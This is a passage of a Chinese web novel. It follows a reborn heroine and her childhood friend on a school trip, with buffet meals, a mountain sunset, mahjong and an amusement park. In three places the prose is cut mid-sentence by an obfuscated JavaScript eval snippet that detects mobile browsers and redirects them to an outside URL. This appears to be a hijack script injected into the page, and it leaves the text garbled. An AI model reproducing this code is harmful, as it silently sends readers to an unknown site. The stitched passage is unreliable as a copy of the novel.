“干啥干啥,别整那死动静。”刘天琪同桌崔锦白眼都要上天了,他真看不下去刘天琪这挤眉弄眼的样子,有点恶心。 其实她长得挺好,三庭五眼标准,就是不好好用脸。 “同桌你相机借我用用呗。”刘天琪故技重施又往她同桌肩膀上蹭,可惜身高差在那也没成功。 “GoGoGo!回房放东西,我这包可太沉了!” “二十五的时候下来呗。” “晚上去找你们,我带了扑克!” “诶诶诶,我还在这呢,收敛点!” “知道啦,程老师。”男孩吐了吐舌头,把还没拿出来的东西又塞进去点。 “这自助餐不错诶,还有虾饺,哇……好吃!” “这个这个,生椰拿铁,巨好喝,和某幸好像啊!快快快,你尝尝。是!不!是!” “真的,我的天,这要是自己来不得一百多一顿啊。” “你快看,这有菜单,我刚才问了服务员姐姐,可以单点,包在饭里不收钱!” “给我来两个榴莲酥,我看她们之前在网上发的,据说老好吃了。” “你想吃什么?我去帮你拿?”江逾眠拿了一大盘肉和一小盘水果,等会打算去拿点主食。 谢渊端了一盘蔬菜沙拉放桌上,旁边还有一杯椰子水。 “不用了眠姐,我最近在减脂。”谢渊苦着脸,吃了一口没味道的沙拉。这家酒店的沙拉甚至没放沙拉酱,也没有油醋汁! 五一假期他去上了一个著名舞蹈演员的小班课,那老师觉得他舞蹈有灵性适合吃这碗饭。 他和老师说以后想要考表演,老师还劝了他很久,看他实在坚决才放弃,不过还是告诉他,他目前体重有点高,需要稍微减一点。 他身高一米七二体重五十公斤,日常看来是很瘦的,但老师说上镜会把人拉宽,想要好看还要瘦五斤。 “别,真别,你还长身体呢,等高三了升学压力和艺考压力上来了,你会瘦得很快的,现在吃好喝好保存精力。”江逾眠可太了解谢渊了,他一有压力的时候虽然面上看不出来还是爱笑的模样,但是体重会嗖嗖往下掉。 她记得小学有一次比赛,他压力非常大怕自己没法进决赛,一周之内瘦了七斤,那时候没人看出来,还以为身高抽条显得呢,后来比赛完之后谢渊没几天体重又恢复了,江逾眠不太放心才问出来的。 想到这个江逾眠嘴里发苦,像是有人把西湖的水灌进她嘴里了。 上辈子谢渊到底经受了多大的压力,才会选择用那么决绝的方式早早离开这个世界,那手臂上的每一道疤痕都是痛苦的痕迹。 “要不眠姐,你帮我拿三个虾饺吧。”谢渊看看菜单又回想自助区,“我想吃,但不想动了,然后我再点两个金沙红米肠,眠姐你吃不?” 江逾眠抹了把脸,收拾好情绪,既然重生了,那就还有机会改变,“好嘞,顺便给你拿一杯橙汁?” “懂我!” “行!那红米肠给我带五个。”江逾眠又匆匆去自助区了,这时候大部分人都已经放好行李了,人变得多了起来。 很快,江逾眠的身影就被淹没在了人群里,虾饺被拿空了,她在那里等了一会,拿了新上的最上面两笼,一共六只,顺手拿了一笼金钱肚之后才打好果汁从人群里挤回去。 谢渊挑的这个位置非常好,两人位一面靠墙角,旁边是落地窗,可以看到外面郁郁葱葱的树和酒店的喷泉,现在这个时候喷泉没开只能看到喷泉顶上的小天使雕塑和池子里养的几尾锦鲤,在阳光的照耀下波光粼粼的样子。 窗外有一颗高大的树恰好可以挡住正午的烈阳,有一束光透过树缝照在男孩脸上,斑驳的阴影配合细碎的光像是洒金,有种杂志般的质感。 这一幕同样被崔锦看到了,他站在稍远的地方拍下了这一幕,江逾眠在画面里只占边缘的一点,只能看到高挺的鼻梁和溢满深情的眼。 然后他将这张照片放上了论坛#逾渊分区。 是的,逾渊从最初的一个小话题已经一跃而上被论坛管理员单独开了一个分区,给那些悄悄磕CP的人一个狂欢的小基地。 [哇哇哇,这张照片也照得太好了叭,劳斯太会啦!] [快快快,告诉我位置,我去偷偷看一眼。] [啧啧啧,这眼神,要说J不喜欢X,我倒立洗头!] [跟一个跟一个。] [这哪啊,肯定不是在学校里,取景好漂亮。] [快快快,管理员呢,这里有个不是三中的,快叉出去!] [别呀,我怎么不是了!] [叉出去叉出去。] [绝美啊,这两人也太配了!] [人家正主可什么都没说呢,别在这乱磕。] [这又是谁啊,我们这CP楼啊,都是悄悄磕的,从来不舞到正主面前。圈地自萌懂不懂?叉出去!] [你们不觉得今天饭太香了吗?] [一语双关,你是会形容的!] 一不小心,谢渊就吃多了,他本来打算减肥的,“都怪你!” 江逾眠现在看谢渊怎么看怎么觉得像是在撒娇,“怪我怪我。”忍不住揉了揉谢渊的头。 谢渊是细软发质,但发量很大,到夏天的时候要打薄几层,否则出汗太多会很难受,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543544|171100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没入夏,他的头发摸起来蓬松柔软,像云,带香气的云。 “回房间休息半个小时,然后下楼走走?”酒店占地面积不算小,绕过正厅后面有一小片树林,可以散步。 “好啊,今天在车上睡了太久了,中午一点都不困。” 幸好像她们这么想的人不算多,可能都凑房间里打麻将玩游戏之类的。 是的,麻将,有两个女生觉得单纯在房间里待着有些无聊去问了工作人员,结果得知三楼一整层是娱乐区,可以免费玩,不过有些区域还没有开,这下她们在群里说了一声,好多人都过去了。 三楼不仅有棋牌室、游戏厅,台球、羽毛球场、篮球场应有尽有,甚至还有一个小型影院和KTV,没开放的区域透过透明玻璃可以看到一个巨大的天蓝色泳池,不过还没注水,估计得等过一阵子景区正式开放的时候再开了。 江逾眠和谢渊沿着树林里的小路慢慢走,因为道路狭窄,手臂和手背时不时触碰到又分开,直到某个时刻,两人的手指勾到一起,有些凉。 江逾眠把谢渊的手包裹住,体温慢慢交换,暧昧的气息在两人中间蔓延,直到…… 谢渊眼睛比较灵,看到前方被遮挡的树后好像有个人影将另一个娇小些的压在了树干上。 他突然转身拉着江逾眠快步走开示意她不要发出声音,直到很远才敢说话,“我……我好像看到有人在接吻。”他的耳根已经红透了,匆匆放开两人交握的手。 “那现在怎么办?”江逾眠逗他,手指勾了勾男生的掌心,“还要继续散步吗?” “我们回去吧。”谢渊手指缩紧,有些褪色的脸颊又一次红透了。 “我看群里说三楼有好玩的。” “可是快到集合时间了。” “那也要回去!”看着江逾眠脸上促狭的笑和两人的行进路线,才知道她在逗他,不由恼羞成怒攥拳打了江逾眠一下。 “哎呦,好痛!”江逾眠演技浮夸。 其实江逾眠看到了,不过那个女人睁开一只眼睛看了她们一眼,大概是觉得她们年龄小,什么也没说,又闭上眼继续了。 看样子那个女人三十多岁,这个时间出现在这里,不是酒店工作人员就是老板,结合一闪而过的衣角,浅灰色缎面裙,估计是老板无疑了。 快到集合时间,刘天琪看到两人是从酒店外面回来的就问了一句。 “中午吃多了消消食。”江逾眠开口。 “确实好吃,但是你们没去三楼玩真是可惜了,三楼东西可多了,而且游戏特全,这里老板是真有钱啊,每一台都买全了最新游戏碟。” “行,等今天晚上回来去看看。” “我跟你说,你去,绝对不亏。” “都到了吗?我点个名。” “行,全了,师傅开车吧。” “今天呢,咱们去南山看。南山最有名的是什么啊?”化学老师站在大巴车最前排拿起了她的小麦克风。 “老师,你今天还兼职导游啊!” “么得办法,有一家老小要养,只能这样赚点外快了。” “老我知道,小是什么啊。” “怎么滴,猫不够小啊!” “好了,说到南山最有名的是什么?” “南山三景!” “哎,对了!南山古寺,嶙峋山石和……” “云霞落日!” “哎,对,今天咱们就去看落日。” “行,我词说完了,下班了。” “老师,你这钱也太好赚了吧。” “没办法,你们班主任就给我五块,最后一句啊,看完落日写一篇五百字的感想,周一交。” “啊?”下面一阵叹息。 “果然,老班不可能一点作业都不留,原来在这等着呢。” 9. 第九章 最开始的时候,大家说说笑笑,看着小道旁郁郁葱葱的灌木和新发芽的树还有些惊喜,等过了半小时,说笑声便少了不少,几个体力充足的体育生遥遥领先,上蹿下跳,好像刚回归山林的猴子。 高二的学生经过久坐体力已经大不如前,有的同学已经顾不上形象坐在小道旁的石头上休息,而这时整个队伍已经分成了三个梯队。 秦老师在最后压阵,防止有人掉队,期间还捡了两个提前上山的别班学生。 而江逾眠和谢渊走在中间梯队,和大部分人一起慢慢走着,欣赏满眼的新绿。 “加油加油,争取五点前爬到山顶。” "好久没爬山了,我这老胳膊老腿的实在是承受不住啊。"有个男生半蹲着双手支在膝盖上,在平台上休息,发出一阵哀嚎。 “这好像还没到一半,我的爹呀,这山就不能突然矮一截吗?” “我有点累了,你扶我一下好吗?”谢渊上前一步扶住崔锦。 崔锦身体不算好,但是他倔,爬到这时候已经小脸发白,额头上布满了细密的汗珠。 谢渊呼吸只是稍微急促,汗也没出多少,他怎么会看不出来。 “前面就到半山腰了,可以坐下休息坐缆车上到山顶。”崔锦感激地笑笑,这样的男孩子谁会不喜欢啊? “谢渊,你真好。”谢渊几乎承担了他大半个身子的重量,和他一起走到了半山休息区。 “哎!老师说,想继续爬的可以自己爬;不想继续爬的可以去坐缆车到时候我们山顶集合就好。”刘天琪早早就走到了休息区,体育生们早就走了,留她一个端着一杯热水慢悠悠地喝,等大部队过来她身上的汗都消了。 “同桌同桌,给,热水。”她自然的接过扶人的重任。 然后她又去给别人发水了,“那边有盐和糖,觉得虚的,出汗多的可以自己放点哈。” “谢谢你啊。”崔锦客气接过抿了一口,有些沉默了。 刘天琪在水里放了盐和糖,但是盐有点放多了,齁咸,不过他这个时候确实需要这个,沉默着一小口一小口的全喝光了。 这一幕落到站在旁边的谢渊和江逾眠的眼中,两人相视一笑什么都没说找个靠近盐糖的地方坐下了,看谁过来了就拿小勺一人撒一点,江逾眠撒盐,谢渊撒糖。 “谢谢渊哥、眠姐。” “渊哥再给我来点糖呗,有点淡。” “要不我给你来一勺盐?”江逾眠作势挖出一大勺。 “不用了不用了。”那人连忙摇头。 等程老师带着几个掉队的过来时,大部分人已经歇得差不多了。 “一会儿还爬吗?”谢渊凑到崔锦跟前,刘天琪十分钟前就坐不住了,撒丫子跑了,江逾眠都没拽住,这时候已经不见人影了。 “不了不了。”崔锦连忙摆手,他还是有点自知之明的,到休息区这里已经是极限了,他再走说不定得倒路上,“我坐缆车上去,说不定能看看不同的风景。” “行。”这下谢渊放心了,他就怕崔锦犟劲上来非要靠双腿爬上去。 “眠姐,要不咱们也坐缆车上去吧,我不想爬了。”谢渊又凑回将江逾眠身边。 江逾眠往自己带的保温杯里灌了一杯热水,“累了?” “嗯嗯。”谢渊点头。 不知道为什么最近两人间没什么营养的对话越来越多了,他也不知道这是好事还是坏事。 “缆车一车四人,一边坐两个,把安全带扣紧。” “老板这一趟缆车是只能上山吗?我们下山的时候怎么办啊。”有人注意到了缆车只有向上的有人,下来的全是空的。 “能下啊,不过现在山顶上的人可能都等落日呢,估计得五点以后才有人下来。” “诶老板,你在这多长时间了?”谢渊想等着老板说在这很久了,他好顺势问问山上有没有适合观景拍照的小众打卡点。 “……半年。”老板回答 “……”谢渊还是试探着问了问,结果收到了老板爱莫能助的眼神。 缆车是全包式的设计,两边有类似窗帘的设计,恐高人友好。 缆车沿着既定轨道一路上行,沿途谢渊和崔锦拍了一路,还拉着江逾眠和另一个男孩拍了合照。 天空的蓝与树木的绿边缘,界限像是被模糊掉了。 为了能拍进镜头,几人挤挤挨挨地凑在一起,江逾眠手长,因此接受了拿自拍杆的重任。 一声“茄子”,“咔嚓”拍下一张青春的印迹,几个人笑容洋溢,只通过照片就能感受到满满的喜悦活力。 年轻时,快乐就是这么容易。 缆车路程过半,朝下看可以看到蜿蜒的山路上小小的人影,“哇,眠姐你看,那好像是小鹿。” 谢渊把手机拿给江逾眠看,放大的画面中可以模糊看到梅花鹿漂亮的皮毛。 “早知道再走一段好了。”谢渊有点遗憾,“不过我走不到顶就累了,到时候在山路中间才是叫天天不应叫地地不灵呢。” 没两分钟就给自己哄好了。 南山上有一座寺庙名叫南山寺,距今已有上千年历史,据说古时某诗人曾在此借住,求一签,住持亲自为其解签。 后来诗人果然考取功名,成为了造福一方百姓的好官。 再后来南山寺成为南山一景,有无数学子前来求签,希望可以早日考取功名、飞黄腾达。 缆车终点处离南山寺不远,趁着时间还早,几人步行至南山寺,寺庙不大,入眼便见一颗两人合抱粗的古树,树枝上错落的挂着红绸,红绸连着小木牌,木牌上隐约可见小字。 旁边放置着一张小桌,“许愿自取,一人一牌,每人十元。” 桌上有一个钱箱和一个收款码,还挺与时俱进。 “我听说没过一段时间,就会有僧侣将树上的木牌取下收到专门的房间里。”崔锦已经付好钱,拿起一块小木牌在上面写了几个字正将红绸穿过打好的孔。 “嗯嗯,要不然这么多年了,这树肯定挂不下。”另一个男生看了树上挂的‘身份证’,这棵树已经一百五十多岁了。 “不过听说这里许愿很灵。”谢渊也写好了,正琢磨着要挂到哪根树枝上。 原本江逾眠是不信这些的,但是她重生后就对这些有了敬畏心。毕竟连重生这么离奇、反物理学的事都已经发生了,也许那些神佛、神祗也在某些地方安静的存在着注视着世界。 于是她虔诚地在木牌上写下四个字——平安健康,希望她所在乎的人都能平安健康地度过这一生。 几人没在南山寺待太久,这里距离山顶还有一段距离,和她们同行的男生打算在不远处的奶茶店休息一会儿,于是几人分开。 江逾眠和谢渊走在前面,手臂靠得极近,在傍晚的日光下,两人的影子交缠在一起密不可分。 崔锦慢慢落后几步,走在两人身后看着这一幕有些后悔。 后悔相机被刘天琪借走了没法拍下这唯美的一幕。 希望她能拍点好看的照片。 说曹操曹操到,没走几步,几人就看到刘天琪出现在不远处。 “你们怎么才来,再过一会儿,太阳都要落山了。没看到南山落日的话不白来了。快来快来我占了个好位置。”刘天琪眼睛都亮了。 说实话,连江逾眠都觉得刘天琪的体力成谜。在缆车上,如果江逾眠没看错的话,中途刘天琪还去喂了梅花鹿,按她的个性肯定也去南山寺许了愿,这得是什么速度才能占好位置又回来等她们几个人啊? 刘天琪占的位置确实很好,那是一块突出的石头表面平坦,地势高度比旁边平台高上一些,位置不算宽,但站四个人刚刚好。 “谢啦姐妹,回头请你吃麻辣烫。”江逾眠搂过刘天琪的脖颈。 “麻辣烫就不用了。”江逾眠刚想说话,“我不爱吃,我爱吃米线,就西门口那家。” “行。”还挺会选,那家每天排队的人特多。 没过多久,就见远处太阳慢慢下落,最初是几缕金箔般的云被光晕浸染,像是有仙子挥动织机将光揉碎成珊瑚色与琥珀色的线织进绸缎般的云霞中。云层翻涌的褶皱里与远处群山的峰峦之上,蜿蜒着显出熔金般的光。 西边最浓烈的绛红色云团如同燃烧的烈焰,向东又逐渐熄灭渐渐化为柔和的粉,在天空上洇出一片水墨般的层次。 偶有飞鸟穿过云层,那些云与光便给它披上一层新装,又在远去时渐渐消散。 当落日完全沉入远山的怀抱,最后的霞光化作浅浅的雾霭,云层褪去华装带走落日的余温。 微风吹过带来一丝凉意,江逾眠才从这壮美的风景中回过神来,不得不称赞大自然的鬼斧神工,远山、落日、云霞相互融合成了最美的画卷,缺一不可,是画家都难以完全复刻的震撼人心的美。 让人一瞬间意识到,世界如此辽阔、人类如此渺小。对于世界的维度来说,人类的生命周期不过弹指一挥间,既然如此,努力地过好每一天便成为了唯一的命题。 “哇,真美!我头一次感到形容如此匮乏,怎么都表现不出那一刻的震撼感。” 回去的路上,在大巴车上还有人感叹。 虽然可能有的人不是第一次来,但仍然会被这样的美景震撼到。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543545|171100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “谢渊,刘天琪拍照还是有一手的诶,你看这小鹿好灵动啊。” “那是,不看看我是谁?” “这张照片可以发给我吗?” “当然可以啦,等我回去整理一下导出来发给你。” 回去的路上谢渊很兴奋,和崔锦坐在一起头碰头凑在一起看两人手机和相机上的照片,江逾眠只好和刘天琪坐在两个男孩身后。 两人聊了一会儿,实在没什么好聊的。本来刘天琪打算聊游戏,但没想到江逾眠一点都不玩,没聊几句这个话题就腰斩了;然后她又想聊学习,但一想到之前的语文成绩江逾眠就完全没有说话的想法了,这个话题也不了了之。 最后没办法,实在聊不下去,刘天琪崩溃了,丢下一句“你是什么类型的话题终结者啊。”就去找别人聊天了。 而前座的两位还像两只小鸟一样叽叽喳喳,像是有说不完的话题,江逾眠听他们从自然风景聊到四季时装又聊到人生理想。 她听到谢渊说他想要成为家喻户晓的演员,崔锦说他想要成为记录人生百态的记者。 就这么两人聊了一路还有些意犹未尽,直到程老师宣布明日的行程才停下了。 “明天大家自由活动,园区内比较大,各个景点有摆渡车可以往返酒店,大家注意时间,别到时候错过车让我去接你。” “早饭和中饭都是酒店自助还是在二楼,大家看好餐厅开放的时间点自己去吃,当然也可以在景区吃。自费啊。” “最后也是最重要的一点,明天下午四点前一定要回到酒店,我们四点半准时出发返回市区。手机都别放静音,别到时候玩疯了找不到人,听到没?” “听到啦!”大家集体说。 “行,解散。” 为了防止有人没听到或者忘记时间之类的,程枫又把刚才说的话和园区地图发到了群里,地图上详细标记了每个景点间的路程用时,是手写的黑色笔迹,看来是程老师提前问了工作人员然后做好了标记。 【留不住:程老师牛!】 【叶子:程老师牛!】 …… 【程枫:行了,别刷屏。】 [年年(见友忘姐版):眠姐,麻将三缺一,你来不来?:)] 江逾眠本来不想欺负小朋友,但是一想她要是不去,谢渊找别人去了,再多玩几局,岂不是今晚都见不到人了。 [逾:去] [年年(见友忘姐版):好诶,三楼306不见不散:)] “我去三楼你去不去?”江逾眠没忘回头问问在床上摊饼的刘天琪。 “不去了不去了。”刘天琪艰难抬手,她今天爬山爬得太狠,而且为了能拍出好看的照片上蹿下跳,白天的时候不觉得,现在躺床上觉得浑身每块肌肉都在叫嚣着罢工。 “好,灯给你留着,回来的时候给我开门啊。” “别了,你把房卡带走吧,我怕一会我睡着了,你回来的时候我听不到。” “行,你安心睡吧。”江逾眠拿走房卡,灯啪的一声全灭了。 刘天琪现在无比庆幸她上床前先去洗了澡,眨了眨眼睛,一片漆黑什么也看不见,然后翻了个身闭上眼。 “不是,为什么呀?我这把牌很好啊,怎么还是我输啊。”崔锦百思不得其解。 “你们俩是不是作弊了?”崔锦质问江逾眠和谢渊。 坐在崔锦下家的女生沉默寡言,崔锦好歹赢了两回,她可是从开始到现在一局没赢过,“老王!我和你换换。” “行啊。”被叫做老王的女生走了过来,两人换了位置。 过了几局,老王也沉默了,皱眉看看谢渊又看看江逾眠陷入了沉思。 江逾眠是因为上辈子大学的时候就常和社团的同学一起玩,工作后更是没什么娱乐。但有些老总吧,她总有那么几个爱好,要么是搓麻要么是喝酒,所以江逾眠完全练出来了。 而谢渊就更简单了,他运气好,特别好那种。 他有一次抓完牌就胡了,还是清一色,要不是这麻将机是机器洗牌的,都要以为是出老千了。 “不行了,这也太没意思了。”崔锦抱怨,他原来还觉得麻将挺好玩的,这回都快一辈子都不想玩了。 老王在上一局的时候就已经坚持不住了,搁谁次次输还玩啊。这种项目不就是有来有回,你赢一局我赢一局才好玩吗? “那换个项目?”谢渊提议,他这一直赢也有点没意思了。 “行啊行啊。”老王最先赞成。 “我们去看电影吧,我听说最近刚上了部电影,特好看。” “走!” 10. 第十章 看完电影已经将近十一点,江逾眠回到五楼刷卡进门。 刘天琪已经睡成一团,被子被她卷吧卷吧抱在怀里,一条腿压住被卷,睡得极香。 被光晃了下眼,吭唧几声,想要翻身结果腿被被子缠住没成功,就拽了被角挡住眼睛。 江逾眠见状关掉了主灯,只留她这边床头的小灯,拿着睡衣去洗漱了。 躺在床上,旁边床传来的呼噜声让江逾眠难以入眠,她已经翻身翻了半小时了都没找到一个合适的入睡机会。 大半夜睡不着,脑子有些发晕,打开手机一看1:25,她已经在心里想现在去八楼敲门会不会吵醒隔壁了。 [年年:眠姐你睡着了吗?] [逾:正在睡.jpg] [年年:你要是睡不着可以到我房间去,我和晚晚说好了今天和他一起睡,嘿嘿。] 江逾眠撇嘴,晚晚~,叫得这么亲密。 [逾:不好吧,要是明天被别的同学看到了不好解释。] [年年:没事眠姐,八楼就两间房住了人。] [逾:那我可真过去了?] [年年:嗯嗯,你先来806门口,我把卡给你。] [逾:等我两分钟。] [年年:OK。] 几分钟后江逾眠上楼拿到了房卡,808在806隔壁,“已经快两点了,你打算什么时候睡?” “哎呀,眠姐,我们马上也要睡了嘛。” “我可跟于叔保证了要看着你点的。” “知道啦,快点快点回去!”谢渊拉了一下江逾眠的手臂把人转过去,用房卡刷开门,将人推进去,一气呵成。 没等江逾眠再说话就拉上了门。 江逾眠站在一片黑暗中有些无措。 没过一会儿房门又开了,“卡给你,明早还我哈!”谢渊把卡塞她手里头也不回地走了。 看样子不像是快睡了的样子,像是着急赶场去听八卦。 不知道是错觉还是什么,躺到床上江逾眠感受到一股若有若无的香气,是谢渊身上独有的味道。可是她明明躺的是谢渊没有躺过的那张床。 那种挥之不去的烦躁感一瞬间消逝,困意一瞬间涌上来,脑海像是被海浪冲刷过的沙滩,只剩下一片平坦的空地,安静、困倦,顺利的进入梦乡。 早上八点,闹钟准时响起,江逾眠把床铺恢复原位,给谢渊发了一条消息。 [逾:醒了告诉我,卡我拿着,餐厅见。] “哎,眠姐,你去哪了?¥%&*”江逾眠回来的时候刘天琪正在刷牙,嘴里含着沫子有些含糊。 “我出去透透气,你先刷完牙再说话,我听不清。”江逾眠冷静回复。 “我说今天你打算去哪玩?”刘天琪把嘴里的水吐掉。 “不确定,你呢?”江逾眠没什么特别想去的地方,主要看谢渊。 “我打算去动物园那边看看,据说开发南山的老板很有爱心,收留了一批身体不太好的小动物,那边能看到的动物种类还挺多的。” “或许,你观后感写了吗?”江逾眠戳人痛处。 “没事,才五百字,洒洒水啦。”刘天琪没当回事,考试作文八百字她都信手拈来,这不用限时五百字还不好写吗? 按照刘天琪的性格,她绝对把作业都留到了今天,而那几科作业可不算少,希望这篇观后感不会变成压塌人的最后一根稻草,祝她好运,毕竟谁让全班只有她自己住在语文老师家呢。 [年年:眠姐,我到餐厅了,你在哪呢?] [逾:第一天那个位置。] “哇~,我来啦,眠姐我简直太爱你了!”谢渊捧着还冒着热气的玉米汁喝了一口。 “怎么没和你的好朋友晚晚一起来?”给人夹了一个青笋包。 “啊,他说早上没胃口,不吃了。”谢渊又吃了一口卤得糯糯的虎皮鸡爪,鸡爪软烂脱骨,卤汁鲜香入味,绝了! “今天想去哪?”又夹了一个鲜虾生煎放谢渊碗里。 “当然是游乐场!我都好几年没去了。”谢渊来者不拒,早茶什么的实在太香了。 “行。”江逾眠不动声色地给谢渊添菜,本来他身上就没什么肉,太瘦了容易生病。 江逾眠从小到大还真没怎么去过游乐场,之前假期一直在家学习,想着多学一会儿多巩固知识,后来出了校园在社会上摸爬滚打拼命向上更是没时间也没精力去。 所以对江逾眠来说也算是比较新奇的经历。 由于南山景区还未正式开放,加上景区内景点众多,游乐场相对来说比较空旷,只有三三两两的学生结伴而行。 其中有几个一眼看上去就是小情侣,趁着没有郝主任抓早恋,明目张胆地穿着精致漂亮的情侣装手牵着手在四处游荡。 “想玩哪个呀?”游乐场的设施非常多,江逾眠也不太了解,只好问谢渊的看法。 她只是在心里想到,投入成本真不小啊,每个项目都有工作人员看护,但是真个游乐场里的人数根本不足以支撑设施开启和维护的费用,幸亏只有今天,要不然这个游乐场没几天就会宣告维持费用过高而倒闭。 “海盗船,大摆锤,自由落体!”谢渊一进了游乐场,看到各种崭新父游乐设施就撒了欢,满脸兴奋,眼里闪着跃跃欲试的光,只把眼神放在最刺激的那些项目上。 玩到第二个项目的时候,江逾眠已经感觉眼前发花了,从自由落体上下来的时候差点腿一软跪在地上。谢渊及时扶住了她,看到她发白的脸色有些担心:“怎么样?还好吗?我记得你不恐高啊。” “还行,没事,有点不太习惯,一会儿就好了。”江逾眠声音有些虚,她也没想到自己这么‘脆弱’。 “给,喝点水。”谢渊朝四周看了看,他记得之前看到了一个小水吧,他跑过去买了一瓶矿泉水,拧开盖子递给江逾眠。 “别人不都是‘哎呀,小姐姐,我拧不开啦,你帮我拧一下瓶盖好不好?’吗?你这样显得我很弱诶。”江逾眠笑着开玩笑,略带凉意的水顺着喉咙一直流到胃部,冲散了萦绕在鼻间的酸热气。 “看来是好多咯?”谢渊扶着江逾眠在最近的长椅上坐下,“你在这休息一会儿,我再玩一遍哈。” “去吧去吧,我保证在这等着不乱跑。” “眠姐,你有没有想去的地方啊,在这也没什么你能玩的,你会不会觉得无聊啊。”谢渊从自由落体上下来坐到了她旁边。 “没关系,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543546|171100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地方我也没什么想去的。你看,这张照片怎么样?”江逾眠把刚才拍的照片给谢渊看。 画面上男孩占据正中的位置,男孩闭着双眼在五颜六色的背景中张开双臂,可以从照片中感受到纯粹的快乐。 这是江逾眠刚刚给谢渊拍的照片,虽然很多都……一言难尽,但是这一张她特别特别喜欢,蓬勃的生命力呼之欲出。 “哇,好漂亮。”其实谢渊知道自己长得好看,从小就知道。 有人曾说过,从照片中可以看到摄影者的情绪,江逾眠在拍下这张照片时又是带着什么样的想法呢? “眠姐,要不我们去坐旋转木马吧?”谢渊突然提议。 “好啊。” 旋转木马一直是浪漫的体现,但是江逾眠并不这样觉得,旋转木马上的马永远追不上它前面的那一匹,反而保持着不远不近的距离,像两条平行线,永远没有交点。 但是现在,坐在旋转木马的其中一个摇摇椅上正好可以看到谢渊的背影时,她又不这么想了。 木马旋转一圈又一圈,男孩始终在她的视线中,等木马停下,两人又可以重逢走同一条路,回家,第二天又可以见面,这样不是也很浪漫吗?每一天都是我们新的重逢,每一天都可以发生新的故事。 木马就在那里,见证着每一位游客的一段时光,是记忆的存档点。 “已经十二点了诶。”谢渊有些苦恼,他的减肥计划中道崩殂,这两天吃的尤其多。 “回酒店吃饭?”虽然程老师说可以自费在景区吃,但实际上大部分餐厅都没有开业,她们两个几乎绕了整个游乐场一圈,找到的唯一一家开着的餐饮店是个连锁奶茶店,而且正在装修。 “好累。”她们所在的这个地点离摆渡车站点极远,想到这个距离,谢渊突然开始耍赖,蹲到地上抱住了腿。 江逾眠睨了眼距两人只有三步远的长椅,“你就是想让我背你是不是?” 江逾眠居高临下看谢渊,这个角度他好小一只。 谢渊没说话,只是抬头眨巴眼看江逾眠。 没半分钟,江逾眠败下阵来,“来!” “嘿嘿。”谢渊眉开眼笑跳到江逾眠背上,上一次眠姐背他还是上一次呢。 “别晃腿,小心我给你扔下去。”江逾眠拍拍谢渊的大腿警告他,“我就说那瓶矿泉水不是白喝的。” “嘿嘿。”谢渊傻乐。 “傻了?”江逾眠把人颠了颠调整好位置。 “眠姐,你都好久没背过我了,自从上了高中后,你就变了,都不太理我,一脸高冷样。”谢渊把头压在江逾眠头顶,小声抱怨。 “有吗?”江逾眠知道自己那时确实觉得女男授受不亲,再加上家庭原因和一些自尊心的原因,特意和谢渊疏远了些,还以为他看不出来呢。 “哪里没有,不过你前一阵子又变回来了,真好。” “抱歉,以后不会了。”青春期时期的自己真的有些莫名奇妙,明明喜欢,却偏要因为各种原因逼自己说不喜欢。 明明想要联系,却装作不在意。 明明是希望他幸福,但最后却连他最后一眼都没有看到。 明明……明明…… 她才是那个傻子。 11. 第十一章 春游结束后,学生们又进入了紧锣密鼓的学习中。 果然像江逾眠想的那样,语文老师留的观后感成为了压倒刘天琪的最后一根稻草,被颜老师一对一看着补作业补到凌晨三点。 “眠姐啊~救救我!”刘天琪抱着江逾眠的大腿假嚎,“我实在是不行了,老班说我要是在上午第二节课之前补不完作业就要扒了我的皮啊!” “放开。”江逾眠默默用力,想把腿拔出来,太丢人了。 虽然她到校比较早,班级里这时候人还不算多,但已经有好几个人一边补作业一边看热闹了。 “行行行,你赶紧给我放手。”江逾眠从书包里拿出物理作业。 “好嘞!”刘天琪一秒收功从地上起来。 刘天琪一边抄作业一边和江逾眠聊天,“你说生日送男生什么东西比较好啊?” “最近谁要过生日了?”江逾眠拿出文言文必背知识点看。 “我同桌,没几天了。”刘天琪特意改错一道题。 “我记得他不是六一的生日吗?”因为日子比较特殊是少有的过了那么多年,江逾眠还有印象的生日。 “啊,对啊,你比较有经验,送什么比较好呢?” “或许你可以试试投其所好?”江逾眠其实也不知道,她送礼物的经验也不多,除了谢渊她没给别的男生送过礼物,“或者你可以直接问。” “啊?不是吧,这么粗暴?我还以为你会比较有经验呢。”刘天琪抄完一面翻面,“你给谢渊送礼物都不搞点惊喜吗?” “他知道我肯定会送他喜欢的。” “也是,你俩青梅竹马的。”刘天琪像是终于发现问她没用,转过头专心补作业去了。 江逾眠笑笑没说话。 